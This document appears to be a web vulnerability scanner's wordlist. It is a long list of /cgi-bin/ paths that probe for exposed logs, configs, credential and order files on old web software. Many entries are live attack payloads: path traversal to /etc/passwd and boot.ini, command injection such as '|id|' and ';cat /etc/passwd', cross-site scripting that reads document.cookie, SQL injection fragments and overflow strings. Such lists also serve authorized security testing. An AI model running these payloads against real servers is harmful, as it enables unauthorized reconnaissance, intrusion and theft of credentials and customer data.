/cgi-bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/cgi-bin/AT-admin.cgi
/cgi-bin/AnyForm2
/cgi-bin/BatMail.exe
/cgi-bin/CGImail.exe
/cgi-bin/CHANGELOG.htm
/cgi-bin/CHANGELOG.html
/cgi-bin/CHANGELOG.txt
/cgi-bin/CHANGES
/cgi-bin/CHANGES.txt
/cgi-bin/CONFIGURE
/cgi-bin/CONFIGURE.txt
/cgi-bin/COPYRIGHT.txt
/cgi-bin/CSMailto.cgi
/cgi-bin/CSSearch/CSSearch.cgi?command=savesetup&setup=`set`
/cgi-bin/CVS/Entries
/cgi-bin/CVS/Repository
/cgi-bin/CVS/Root
/cgi-bin/Calcium40.pl?Op=ShowIt&CalendarName=%3Cscript%3Ealert%289894%29%3C%2Fscript%3E
/cgi-bin/Carello/Carello.dll
/cgi-bin/ChangeLog
/cgi-bin/ChangeLog.txt
/cgi-bin/Configure
/cgi-bin/Count.cgi?df=callcard.dat
/cgi-bin/CrazyWWWBoard.cgi
/cgi-bin/CreatedByHP2
/cgi-bin/CreatedByHP2.txt
/cgi-bin/DCShop/Auth_data/auth_user_file.txt
/cgi-bin/DCShop/Orders/orders.txt
/cgi-bin/DCShop/auth_data/auth_user_file.txt
/cgi-bin/DCShop/orders/orders.txt
/cgi-bin/Default.asp
/cgi-bin/Default.aspx
/cgi-bin/FormHandler.cgi
/cgi-bin/Formvar.exe
/cgi-bin/Fpadmcgi.exe
/cgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA
/cgi-bin/INSTALL
/cgi-bin/INSTALL.html
/cgi-bin/INSTALL.mysql.txt
/cgi-bin/INSTALL.pgsql.txt
/cgi-bin/INSTALL.txt
/cgi-bin/LICENSE.txt
/cgi-bin/Login.aspx
/cgi-bin/Login.do
/cgi-bin/MAINTAINERS.txt
/cgi-bin/MachineInfo
/cgi-bin/Makefile
/cgi-bin/Output-Build.txt
/cgi-bin/PDG_Cart/cc.log
/cgi-bin/PDG_Cart/mc.txt
/cgi-bin/PDG_Cart/order.log
/cgi-bin/PDG_Cart/shopper.conf
/cgi-bin/PDG_cart/card.txt
/cgi-bin/README
/cgi-bin/README.htm
/cgi-bin/README.html
/cgi-bin/README.txt
/cgi-bin/ReadMe
/cgi-bin/ReadMe.txt
/cgi-bin/Readme
/cgi-bin/Readme.txt
/cgi-bin/ShellExample.cgi?../../*
/cgi-bin/Shopper.exe?search=action&keywords=psiber%20&template=other
/cgi-bin/Stats/
/cgi-bin/TODO.txt
/cgi-bin/ToDo
/cgi-bin/ToDo.txt
/cgi-bin/Trace.axd
/cgi-bin/UPGRADE.txt
/cgi-bin/UltraBoard/UltraBoard.cgi?Action=PrintableTopic&Post=../../UBData/Members/members.grp%00&Board=6210&Idle=10&Sort=0&Order=Descend&Page=0&Session=;;;
/cgi-bin/WS_FTP.LOG
/cgi-bin/WS_FTP.ini
/cgi-bin/Web_Store/web_store.cgi
/cgi-bin/YaBB.pl
/cgi-bin/_root_.sys
/cgi-bin/_vti_cnf/
/cgi-bin/a1stats/a1disp3.cgi
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd
/cgi-bin/a1stats/a1disp4.cgi
/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd
/cgi-bin/acart/acart.pl?&page=
/cgi-bin/access.log
/cgi-bin/access_log
/cgi-bin/accounts.asp
/cgi-bin/ackcmdc.exe
/cgi-bin/ad.cgi
/cgi-bin/add_category.asp
/cgi-bin/add_ftp.cgi
/cgi-bin/adm/
/cgi-bin/admin.asp
/cgi-bin/admin.cfg
/cgi-bin/admin.cgi
/cgi-bin/admin.conf
/cgi-bin/admin.dat
/cgi-bin/admin.data
/cgi-bin/admin.db
/cgi-bin/admin.dbf
/cgi-bin/admin.exe
/cgi-bin/admin.htm
/cgi-bin/admin.html
/cgi-bin/admin.htx
/cgi-bin/admin.ini
/cgi-bin/admin.lst
/cgi-bin/admin.pl
/cgi-bin/admin.pw
/cgi-bin/admin.txt
/cgi-bin/admin/
/cgi-bin/admin/admin.cgi
/cgi-bin/admin/admin_ug_auth.php
/cgi-bin/admin/classes/minixml/classes/doc.inc.php
/cgi-bin/admin/classes/minixml/classes/element.inc.php
/cgi-bin/admin/classes/minixml/classes/node.inc.php
/cgi-bin/admin/setup.cgi
/cgi-bin/admin_/
/cgi-bin/admin_/help/..%255Cplsql.conf
/cgi-bin/adovbs.inc
/cgi-bin/af.cgi
/cgi-bin/af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
/cgi-bin/aglimpse
/cgi-bin/alibaba.pl
/cgi-bin/allmanage.pl
/cgi-bin/allmanageup.pl
/cgi-bin/amadmin.pl
/cgi-bin/anacondaclip.pl
/cgi-bin/anyform.cgi
/cgi-bin/application.cfm
/cgi-bin/architext_query.cgi
/cgi-bin/article.php?sid=""><script>alert('XSS')</script>"
/cgi-bin/as_web.exe?Command=search&file=nonexistantfile&request=&MaxHits=10&NumLines=1
/cgi-bin/asp/samples/viewcode.asp?file=index.asp
/cgi-bin/athcgi.exe?command=showpage&script='],[0,0]];alert('XSS');a=[['"
/cgi-bin/auction.cgi?searchstring=<script>alert('CSS')</script>&action=SearchProductByKeyword
/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('CSS')</script>&Where=&Sort=Photo&Dir=
/cgi-bin/auctionweaver.cgi
/cgi-bin/auctionweaver.pl
/cgi-bin/auktion.pl
/cgi-bin/authenticate.cgi
/cgi-bin/awebvisit.stat
/cgi-bin/awstats.pl?configdir=
/cgi-bin/awstats.pl?update=1&logfile=
/cgi-bin/awstats/awstats.pl?configdir
/cgi-bin/ax-admin.cgi
/cgi-bin/ax-admin.pl
/cgi-bin/ax.cgi?debugme
/cgi-bin/ax.pl?debugme
/cgi-bin/axs.dat
/cgi-bin/badfile123
/cgi-bin/bash
/cgi-bin/batch_add.asp
/cgi-bin/batch_manage.asp
/cgi-bin/bb-ack.sh
/cgi-bin/bb-ack.sh?HOSTSVC=/../../../../../../../../etc/passwd
/cgi-bin/bb-hist.sh
/cgi-bin/bb-histlog.sh
/cgi-bin/bb-hostsvc.sh
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd
/cgi-bin/bb-rep.sh
/cgi-bin/bb-rep.sh?HOSTSVC=/../../../../../../../../etc/passwd
/cgi-bin/bb-replog.sh
/cgi-bin/bb-replog.sh?HOSTSVC=/../../../../../../../../etc/passwd
/cgi-bin/bbs/read.cgi?file=
/cgi-bin/bbs_forum.cgi
/cgi-bin/bgplg?cmd=show%2Bversion%3Cscript%3Ealert%289658%29%3C%2Fscript%3E
/cgi-bin/bigconf.cgi
/cgi-bin/bigconf.cgi?command=view_textfile&file=/etc/master.passwd&filters=
/cgi-bin/bizdb1-search.cgi
/cgi-bin/blat.exe
/cgi-bin/bnbform.cgi
/cgi-bin/bp/bp-lib.pl?g=
/cgi-bin/bsguest.cgi
/cgi-bin/bslist.cgi
/cgi-bin/c32web.exe/CheckError?error=53
/cgi-bin/c32web.exe/ShowAdminDir
/cgi-bin/c_download.cgi
/cgi-bin/cached_feed.cgi
/cgi-bin/cachemgr.cgi
/cgi-bin/cal_make.pl
/cgi-bin/cal_make.pl?p0=../../../../cal_make.pl%00
/cgi-bin/calendar/
/cgi-bin/calendar/calendar.pl?calendar=default&month=f00b4r
/cgi-bin/calendar/calendar.pl?calendar=default&year=f00b4r
/cgi-bin/calendar/calendar_admin.pl
/cgi-bin/calender.pl
/cgi-bin/calender_admin.pl
/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd
/cgi-bin/carello/
/cgi-bin/cart.pl
/cgi-bin/cart.pl?db='
/cgi-bin/cart32.exe
/cgi-bin/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/cgi-bin/cart32.exe/cart32clientlist
/cgi-bin/cart32.exe/error
/cgi-bin/cart32.ini
/cgi-bin/cart32/CART32-order.txt
/cgi-bin/cart32/mainframephotographics-ORDERS.txt
/cgi-bin/cart32/whatever-OUTPUT.txt
/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert('CSS')</script>
/cgi-bin/ceilidh.exe
/cgi-bin/cfgwiz.exe
/cgi-bin/cgi-bin/
/cgi-bin/cgi-bin/cart.pl
/cgi-bin/cgi-lib.pl
/cgi-bin/cgi-test.exe
/cgi-bin/cgi/
/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
/cgi-bin/cgi_process
/cgi-bin/cgiback.cgi
/cgi-bin/cgiemail.cgi/XXnonexistentXX
/cgi-bin/cgiemail/XXnonexistentXX
/cgi-bin/cgiforum.pl
/cgi-bin/cgimail.exe
/cgi-bin/cgitest.exe
/cgi-bin/cgiwrap
/cgi-bin/changelog.htm
/cgi-bin/changelog.html
/cgi-bin/changelog.txt
/cgi-bin/changes.xml
/cgi-bin/changs.txt
/cgi-bin/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie)</script>
/cgi-bin/citat.pl?/etc/passwd
/cgi-bin/citat.pl?|id|
/cgi-bin/classifieds.cgi
/cgi-bin/cleanup.log
/cgi-bin/cleanup.txt
/cgi-bin/clemail.exe
/cgi-bin/clickcount.pl?view=view
/cgi-bin/clickresponder.pl
/cgi-bin/colscripts/easymsgb.pl?print=|id|
/cgi-bin/com5.pl
/cgi-bin/comments.exe
/cgi-bin/common.inc
/cgi-bin/common/listrec.pl
/cgi-bin/config.inc
/cgi-bin/configuration.inc
/cgi-bin/configure
/cgi-bin/configure.txt
/cgi-bin/connect.inc
/cgi-bin/connection.inc
/cgi-bin/console.exe
/cgi-bin/content-space
/cgi-bin/contents.htm
/cgi-bin/convert.bas
/cgi-bin/copyright.txt
/cgi-bin/core
/cgi-bin/count.cgi
/cgi-bin/counter.exe
/cgi-bin/counterfiglet
/cgi-bin/counterfiglet/nc/f
/cgi-bin/cpshost.dll
/cgi-bin/createaccount.cgi?login=Test%27Test@Test%27test.com&realname=Test+%27Test
/cgi-bin/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.test
/cgi-bin/csPassword.cgi
/cgi-bin/csfaq/
/cgi-bin/csh
/cgi-bin/csnews.cgi?command=viewnews&database=none
/cgi-bin/cssearch/
/cgi-bin/csvform.pl?file=cat%20/etc/passwd%00|
/cgi-bin/customer.dbf
/cgi-bin/customers.dbf
/cgi-bin/cutecast/
/cgi-bin/cutecast/members/
/cgi-bin/cvsweb.cgi
/cgi-bin/dasp/
/cgi-bin/dasp/fm_shell.asp
/cgi-bin/data.dbf
/cgi-bin/data.htm
/cgi-bin/data.html
/cgi-bin/data.txt
/cgi-bin/database.inc
/cgi-bin/datafunc.inc
/cgi-bin/db.dbf
/cgi-bin/db.inc
/cgi-bin/dbconfig.inc
/cgi-bin/dbconn.inc
/cgi-bin/dbman/
/cgi-bin/dbman/db.cgi?db=bleh
/cgi-bin/dbmlparser.exe
/cgi-bin/dbsamp.htm
/cgi-bin/dcforum/
/cgi-bin/dcforum/dcboard.cgi
/cgi-bin/debug.asp
/cgi-bin/debug.cfg
/cgi-bin/debug.cgi
/cgi-bin/debug.dat
/cgi-bin/debug.htm
/cgi-bin/debug.html
/cgi-bin/debug.inc
/cgi-bin/debug.pl
/cgi-bin/debug.txt
/cgi-bin/deploy.exe
/cgi-bin/dfire.cgi
/cgi-bin/dir.txt
/cgi-bin/directorypro.cgi?want=showcat
/cgi-bin/directorypro.cgi?want=showcat&show=../../../../../../../etc/passwd%00
/cgi-bin/dirs.txt
/cgi-bin/displayTC.pl
/cgi-bin/dmailweb.cgi
/cgi-bin/dmailweb.exe
/cgi-bin/dmailweb.ini
/cgi-bin/dnewsweb
/cgi-bin/dnewsweb.exe?utag=%3Cscript%3Ealert%289322%29%3C%2Fscript%3E
/cgi-bin/doexec.c
/cgi-bin/dose.pl?daily&facts.txt&|id|
/cgi-bin/download.html
/cgi-bin/dumpenv.pl
/cgi-bin/dumpenv.pl?<script>alert(document.cookie)</script>
/cgi-bin/dvwssr.dll
/cgi-bin/e-cms/vis/vis.pl?s=../../../../../../etc/passwd%00
/cgi-bin/echo.bat
/cgi-bin/edit.pl
/cgi-bin/edit_image.php?dn=1&userfile=edit_image.php&userfile_name=%20;id;
/cgi-bin/email.txt
/cgi-bin/email_list.txt
/cgi-bin/email_template.txt
/cgi-bin/empower?DB=bleh
/cgi-bin/enter.cgi
/cgi-bin/env.log
/cgi-bin/env.pl
/cgi-bin/envdisplay.cgi
/cgi-bin/environ.cgi
/cgi-bin/epages.admin
/cgi-bin/erba/start/<script>alert('CSS')</script>
/cgi-bin/error.log
/cgi-bin/error_log
/cgi-bin/errors.cgi
/cgi-bin/errors.log
/cgi-bin/errors_log
/cgi-bin/eshop.pl?seite=;id|
/cgi-bin/esp?PAGE=<script>alert(document.cookie)</script>
/cgi-bin/ews/
/cgi-bin/ews/ews/architext_query.pl
/cgi-bin/excite/
/cgi-bin/excite/at-generate.cgi
/cgi-bin/ezmall2000/mall2000.cgi
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.log%00htm
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.log%00html
/cgi-bin/ezmall2000/mall_log_files/order.log
/cgi-bin/ezshopper2/loadpage.cgi?id+/
/cgi-bin/ezshopper2/loadpage.cgi?id=|id|
/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=/
/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=|id|
/cgi-bin/faqmanager.cgi
/cgi-bin/faxsurvey?cat%20/etc/passwd
/cgi-bin/filemail.pl
/cgi-bin/files.pl
/cgi-bin/fileseek.cgi?head=|set|
/cgi-bin/finger
/cgi-bin/flexform.cgi
/cgi-bin/form.cgi
/cgi-bin/form.cgi?to=blah@blah.com
/cgi-bin/form.dat
/cgi-bin/formhandler.cgi
/cgi-bin/formmail.log
/cgi-bin/formmail.pl
/cgi-bin/formnow.cgi
/cgi-bin/forum.pl?/etc/passwd
/cgi-bin/forum.pl?|id|
/cgi-bin/fpadmin.htm
/cgi-bin/fpexplore.exe?/c%20dir%20c:\
/cgi-bin/fpremadm.exe
/cgi-bin/fpsrvadm.exe
/cgi-bin/fuck.exe
/cgi-bin/functions.inc
/cgi-bin/gbmail.exe
/cgi-bin/gbook/
/cgi-bin/gbook/gbook.cgi
/cgi-bin/gbrowse
/cgi-bin/get16.exe
/cgi-bin/get32.exe
/cgi-bin/getdoc.cgi
/cgi-bin/gettransbitmap?NONEXISTENTPAGE
/cgi-bin/global.cgi
/cgi-bin/global.inc
/cgi-bin/guestbook.cgi
/cgi-bin/guestbook.cgi?user=cpanel&template=|cat+/etc/passwd
/cgi-bin/guestbook.pl
/cgi-bin/guestbook/
/cgi-bin/guestbook/passwd
/cgi-bin/guestbooksaver.cgi
/cgi-bin/guestserver.cgi
/cgi-bin/gw5/
/cgi-bin/gw5/?HELP=bad-request
/cgi-bin/hamweather/
/cgi-bin/hamweather/hamweather.cgi
/cgi-bin/handler
/cgi-bin/handler/netsonar;cat /etc/passwd|?data=Download
/cgi-bin/hc/login.htm
/cgi-bin/hello.bat
/cgi-bin/hinsts.pl?
/cgi-bin/hints.cgi
/cgi-bin/hints.pl
/cgi-bin/hints/hints.cgi
/cgi-bin/hints/hints.pl
/cgi-bin/hobbit.txt
/cgi-bin/howcat.php?catid=<script>alert('XSS')</script>
/cgi-bin/hpnst.exe?c=p+i=SrvSystemInfo.html
/cgi-bin/hsx.cgi
/cgi-bin/hsx.cgi?show=../../../../../../../../../../../../etc/passwd%00
/cgi-bin/hsx.cgi?show=..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
/cgi-bin/htgrep.cgi?file=index.html&hdr=/etc/passwd
/cgi-bin/htgrep/file=index.html&hdr=/etc/passwd
/cgi-bin/htgrep?file=index.html&hdr=/etc/passwd
/cgi-bin/htimage.exe
/cgi-bin/htimage.exe/linux?0,0
/cgi-bin/htimage.exe/path/filename?0,0
/cgi-bin/htmldocs
/cgi-bin/htmlscript
/cgi-bin/htsearch
/cgi-bin/htsearch.cgi?words=%22%3E%3Cscript%3Ealert%28540%29%3C%2Fscript%3E
/cgi-bin/htsearch?Exclude=%60/etc/passwd%60
/cgi-bin/htsearch?exclude=%60/etc/passwd%60
/cgi-bin/htsearch?words=%22%3E%3Cscript%3Ealert%28542%29%3C%2Fscript%3E
/cgi-bin/hwadmin5340/
/cgi-bin/hwadmin5340/hwadmin.cgi
/cgi-bin/icat
/cgi-bin/iisadmin/
/cgi-bin/iisadmin/bdir.htr
/cgi-bin/iisadmin/ism.dll
/cgi-bin/iisadmin/tools/dsnform.exe
/cgi-bin/iisadmin/tools/mkilog.exe
/cgi-bin/ikonboard.cgi
/cgi-bin/ikonboard/
/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
/cgi-bin/imageFolio.cgi?direct=<script>alert("XSS")</script>
/cgi-bin/imageFolio.cgi?direct=<script>alert('XSS')</script>
/cgi-bin/imagefolio/admin/admin.cgi?cgi=remove.pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../../etc
/cgi-bin/imagefolio/cgi-bin/admin/setup.cgi
/cgi-bin/imagemap.cgi
/cgi-bin/imagemap.exe
/cgi-bin/include.cgi?/etc/passwd
/cgi-bin/include.cgi?|id|
/cgi-bin/include.inc
/cgi-bin/include/customize.php?l=http://www.example.com/nofile.txt
/cgi-bin/index.cgi?mode=album&album=../../../../../../../../../../../../../../../../../etc/
/cgi-bin/index.cgi?page=
/cgi-bin/index.php?board=;action=login2&user=test&cookielength=120&passwrd=<script>alert()</script>
/cgi-bin/info.txt
/cgi-bin/info2.txt
/cgi-bin/info2www
/cgi-bin/infosrch.cgi
/cgi-bin/input.bat
/cgi-bin/input2.bat
/cgi-bin/inserter.cgi?/etc/passwd
/cgi-bin/inserter.cgi?|id|
/cgi-bin/install
/cgi-bin/install.htm
/cgi-bin/install.html
/cgi-bin/install.log
/cgi-bin/install.txt
/cgi-bin/install.xml
/cgi-bin/intershop.siteadmin
/cgi-bin/intranet.html
/cgi-bin/inventory.dbf
/cgi-bin/ion-p.exe?page=c:\boot.ini
/cgi-bin/ion-p?page=/etc/services
/cgi-bin/ipswitch.ini
/cgi-bin/jammail.pl?job=showoldmail&mail=
/cgi-bin/jammail.pl?job=showoldmail&mail=|command|
/cgi-bin/jammail.pl?job=showoldmail&mail=|id|
/cgi-bin/jj
/cgi-bin/jrun.ini
/cgi-bin/kaiseki.cgi?|id|
/cgi-bin/ksh
/cgi-bin/lastlines.cgi?process&num_lines=1000&log_location=../../../../../../../../../../etc/passwd
/cgi-bin/license.txt
/cgi-bin/links.pl
/cgi-bin/loadpage.cgi
/cgi-bin/loadpage.cgi?id=|id|
/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txt
/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txtcgi-bin/PDG_Cart/order.log
/cgi-bin/localstart.asp
/cgi-bin/log.asp
/cgi-bin/log.cgi
/cgi-bin/log.htm
/cgi-bin/log.html
/cgi-bin/log.php
/cgi-bin/log.txt
/cgi-bin/login.asp
/cgi-bin/login.cgi
/cgi-bin/login.dbf
/cgi-bin/logit.cgi
/cgi-bin/logon.cgi
/cgi-bin/logon.htm
/cgi-bin/logon.html
/cgi-bin/logon.pl
/cgi-bin/logs
/cgi-bin/logs.asp
/cgi-bin/logs.cgi
/cgi-bin/logs.htm
/cgi-bin/logs.html
/cgi-bin/logs.php
/cgi-bin/lwgate.cgi
/cgi-bin/lyris.pl
/cgi-bin/magiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../../etc/passwd
/cgi-bin/mail/mailmachine.cgi
/cgi-bin/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x
/cgi-bin/mailfile.cgi
/cgi-bin/mailform.exe
/cgi-bin/mailform.pl
/cgi-bin/maillist.cgi
/cgi-bin/maillist.pl
/cgi-bin/mailmepro.exe
/cgi-bin/mailnews.cgi
/cgi-bin/mailsend.exe
/cgi-bin/mailto.cgi
/cgi-bin/mailto.pl
/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html
/cgi-bin/main_menu.pl
/cgi-bin/maintainers.txt
/cgi-bin/makebook.cgi
/cgi-bin/mall2000.cgi
/cgi-bin/man-cgi
/cgi-bin/man.sh
/cgi-bin/mc.txt
/cgi-bin/mclient.cgi?p=%22%3E%3Cscript%3Ealert%28String.fromCharCode%2887%2C97%2C116%2C99%2C104%2C102%2C105%2C114%2C101%2C32%2C88%2C83%2C83%2C32%2C84%2C101%2C115%2C116%2C32%2C83%2C117%2C99%2C99%2C101%2C115%2C115%2C102%2C117%2C108%29%29%3C%2Fscript%3E
/cgi-bin/members.dbf
/cgi-bin/message.cgi
/cgi-bin/meta.pl
/cgi-bin/midicart.mdb
/cgi-bin/minimal.exe
/cgi-bin/mkilog.exe
/cgi-bin/mojo.cgi?flavor=subscribe&email=""><script>alert('XSS')</script>&list=skazat_design_newsletter&submit=Submit
/cgi-bin/multihtml.pl
/cgi-bin/mwf/
/cgi-bin/mwf/user_options_x.pl
/cgi-bin/myNonExistentFile
/cgi-bin/nbmember.cgi?cmd=list_all_users
/cgi-bin/nbmember.cgi?cmd=test
/cgi-bin/nc.exe
/cgi-bin/ncommerce/
/cgi-bin/ncommerce3/
/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A
/cgi-bin/ncommerce3/ExecMacro/macro.d2w/no-such-block
/cgi-bin/ndCGI.exe/
/cgi-bin/netauth.cgi
/cgi-bin/netcat
/cgi-bin/netcat.c
/cgi-bin/netcat.exe
/cgi-bin/news/
/cgi-bin/news/news.cgi
/cgi-bin/news/newsup.pl
/cgi-bin/newsdesk.cgi
/cgi-bin/newsgroups.php
/cgi-bin/nlog-smb.cgi
/cgi-bin/noSuchFile.asp
/cgi-bin/noSuchFile.aspx
/cgi-bin/noSuchFile.cfm
/cgi-bin/noSuchFile.cgi
/cgi-bin/noSuchFile.jhtml
/cgi-bin/noSuchFile.nsf
/cgi-bin/noSuchFile.php
/cgi-bin/noSuchFile.php3
/cgi-bin/noSuchFile.php4
/cgi-bin/noSuchFile.pl
/cgi-bin/noSuchFile.plx
/cgi-bin/noSuchFile.shtml
/cgi-bin/noSuchFile.stm
/cgi-bin/noSuchFile.thtml
/cgi-bin/nonExistentPage.asp
/cgi-bin/nonExistentPage.aspx
/cgi-bin/nonExistentPage.cfm
/cgi-bin/nonExistentPage.cgi
/cgi-bin/nonExistentPage.html
/cgi-bin/nonExistentPage.jhtml
/cgi-bin/nonExistentPage.jsp
/cgi-bin/nonExistentPage.msp
/cgi-bin/nonExistentPage.nsf
/cgi-bin/nonExistentPage.php
/cgi-bin/nonExistentPage.php3
/cgi-bin/nonExistentPage.php4
/cgi-bin/nonExistentPage.pl
/cgi-bin/nonExistentPage.plx
/cgi-bin/nonExistentPage.shtml
/cgi-bin/nonExistentPage.thtml
